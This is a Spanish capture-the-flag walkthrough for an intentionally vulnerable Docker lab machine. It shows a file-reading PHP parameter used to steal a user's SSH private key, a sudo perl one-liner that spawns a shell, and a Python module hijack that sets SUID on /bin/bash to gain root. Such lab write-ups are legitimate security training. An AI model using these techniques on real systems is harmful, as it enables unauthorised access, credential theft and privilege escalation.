Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzippsycho.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_deploy.shpsycho.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
Info:
Vemos una pagina normal, por lo que vamos a fuzzear un poco:
Gobuster
Info:
Vemos que la pagina esta en PHP por lo que fuzzearemos a ver si encontramos algun parametro vulnerable para leer archivos del sistema:
Escalate user vaxei
FFUF
Info:
Vemos que hemos descubierto el parametro secret que es vulnerable, por lo que veremos el listado de usuarios.
Info:
Vemos que hay 2 usuarios, por lo que probaremos a ver si alguno tiene algun id_rsa.
Info:
Vemos que con el usuario vaxei si va, por lo que nos conectaremos con esa id_rsa de la siguiente forma.
SSH
Lo guardamos y establecemos los permisos correspondientes al mismo.
Y echo esto veremos que estamos dentro con dicho usuario.
Escalate user luisillo
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar el binario perl como el usuario luisillo por lo que haremos lo siguiente:
Y echo esto veremos que somo dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar el binario python3 junto con el script paw.py como el usuario root, por lo que tendremos que hacer lo siguiente:
Si leemos el script vemos lo siguiente:
Si lo ejecutamos veremos el siguiente error:
Info:
Veremos que nos esta dando un error en la siguiente ruta:
Ya que no admite algun caracter en el que esta en el script, en concreto en esta parte de aqui:
Lo que vamos hacer es cambiar el PATH para que pille primero el subprocess.py nuestro malicioso y que no pille el de la ruta /usr/lib/python3.12/subprocess.py ya que no esta utilizando una ruta absoluta en el script a la hora de importar el modulo.
Y ahora crearemos el script malicioso:
subprocess.py
Lo guardamos y ejecutamos lo siguiente:
Info:
Y si ahora listamos los permisos de la bash veremos lo siguiente:
Info:
Vemos que tiene permisos de SUID por lo que haremos lo siguiente:
Y con esto seremos root, por lo que ya habremos terminado la maquina.
nano id_rsa
#Dentro del nano
<CONTENIDO_DEL_ID_RSA>
chmod 600 id_rsa
ssh -i id_rsa vaxei@<IP>
Matching Defaults entries for vaxei on 8a42188a52cb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User vaxei may run the following commands on 8a42188a52cb:
(luisillo) NOPASSWD: /usr/bin/perl
sudo -u luisillo perl -e 'exec "/bin/bash";'
Matching Defaults entries for luisillo on 8a42188a52cb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User luisillo may run the following commands on 8a42188a52cb:
(ALL) NOPASSWD: /usr/bin/python3 /opt/paw.py
import subprocess
import os
import sys
import time
# F
def dummy_function(data):
result = ""
for char in data:
result += char.upper() if char.islower() else char.lower()
return result
# Código para ejecutar el script
os.system("echo Ojo Aqui")
# Simulación de procesamiento de datos
def data_processing():
data = "This is some dummy data that needs to be processed."
processed_data = dummy_function(data)
print(f"Processed data: {processed_data}")
# Simulación de un cálculo inútil
def perform_useless_calculation():
result = 0
for i in range(1000000):
result += i
print(f"Useless calculation result: {result}")
def run_command():
subprocess.run(['echo Hello!'], check=True)
def main():
# Llamadas a funciones que no afectan el resultado final
data_processing()
perform_useless_calculation()
# Comando real que se ejecuta
run_command()
if __name__ == "__main__":
main()
sudo python3 /opt/paw.py
Ojo Aqui
Processed data: tHIS IS SOME DUMMY DATA THAT NEEDS TO BE PROCESSED.
Useless calculation result: 499999500000
Traceback (most recent call last):
File "/opt/paw.py", line 41, in <module>
main()
File "/opt/paw.py", line 38, in main
run_command()
File "/opt/paw.py", line 30, in run_command
subprocess.run(['echo Hello!'], check=True)
File "/usr/lib/python3.12/subprocess.py", line 548, in run
with Popen(*popenargs, **kwargs) as process:
^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.12/subprocess.py", line 1026, in __init__
self._execute_child(args, executable, preexec_fn, close_fds,
File "/usr/lib/python3.12/subprocess.py", line 1955, in _execute_child
raise child_exception_type(errno_num, err_msg, err_filename)
FileNotFoundError: [Errno 2] No such file or directory: 'echo Hello!'
Ojo Aqui
Processed data: tHIS IS SOME DUMMY DATA THAT NEEDS TO BE PROCESSED.
Useless calculation result: 499999500000
Traceback (most recent call last):
File "/opt/paw.py", line 41, in <module>
main()
File "/opt/paw.py", line 38, in main
run_command()
File "/opt/paw.py", line 30, in run_command
subprocess.run(['echo Hello!'], check=True)
^^^^^^^^^^^^^^
AttributeError: module 'subprocess' has no attribute 'run'
ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash